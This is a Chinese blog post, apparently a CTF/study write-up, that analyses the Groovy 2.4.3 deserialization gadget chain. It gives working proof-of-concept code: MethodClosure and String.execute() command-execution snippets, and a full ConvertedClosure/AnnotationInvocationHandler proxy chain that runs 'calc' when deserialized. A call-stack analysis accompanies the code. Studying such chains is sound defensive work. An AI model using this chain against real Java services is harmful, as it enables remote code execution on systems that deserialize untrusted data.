March 29, 2023

Groovy反序列化利用链

参考链接:

环境搭建

Pom依赖:

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.3</version>
</dependency>

再准备个Maven quickstart

Groovy命令执行

MethodClosure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example

import org.codehaus.groovy.runtime.MethodClosure

import java.lang.reflect.Method

class Groovy {
static void main(String[] args) {
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
m.setAccessible(true);
m.invoke(mc, "calc");
}
}

首先poc如上,然后我们看一下具体的调用,漏洞触发点实在docall方法
image.png
通过getowner获取owner属性
image.png
调用owner属性的任意method,那么就可以rce

String.execute()

Groovy为String对象封装了一个execute方法用来动态执行命令

1
2
3
4
5
6
7
8
9
10
11
12
package org.example

import org.codehaus.groovy.runtime.MethodClosure

import java.lang.reflect.Method

class Groovy {
static void main(String[] args) {
println("whoami".execute().text);
}
}

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

// 回显型命令执行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";

ConvertedClosure

ConvertedCloure实际上是一个动态代理类,看名字是一个闭包函数,这个不重要,它继承了ConversionHandler
image.png
而ConversionHandler又继承了InvocationHandler
image.png
因此该类是一个动态代理,然后注意invokeCustom,这个和InvocationHandler的invoke是一个意思,代理的具体逻辑。
如果初始化时指定的 method 与invokeCustom指定的 method 参数相同,则invokeCustom方法将会调用代理对象 Closure 的 call 方法执行传入参数执行
image.png

Groovy反序列化构造

既然是动态代理那肯定得走CC1那条路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Map;

/**
* Hello world!
*
*/
public class App
{
public static void main( String[] args ) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
//封装我们需要执行的对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

// 创建 ConvertedClosure 的动态代理类实例
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);

// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
outputStream.writeObject(invocationHandler);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
inputStream.readObject();
}
catch(Exception e){
e.printStackTrace();
}
}
}

这条链的调用栈如下,和CC1其实是大同小异

1
2
3
4
5
6
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()

从entrySet往后走开始有略微不同变化
image.png

流程分析

image.png
调用entrySet,然后触发invoke
image.png
this是ConvertedClosure它继承了 ConversionHandler,所以是走进父类里面的方法,在这里面进而触发invokeCustom
image.png
最后调用call方法rce
image.png
image.png
最终RCE

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF#反序列化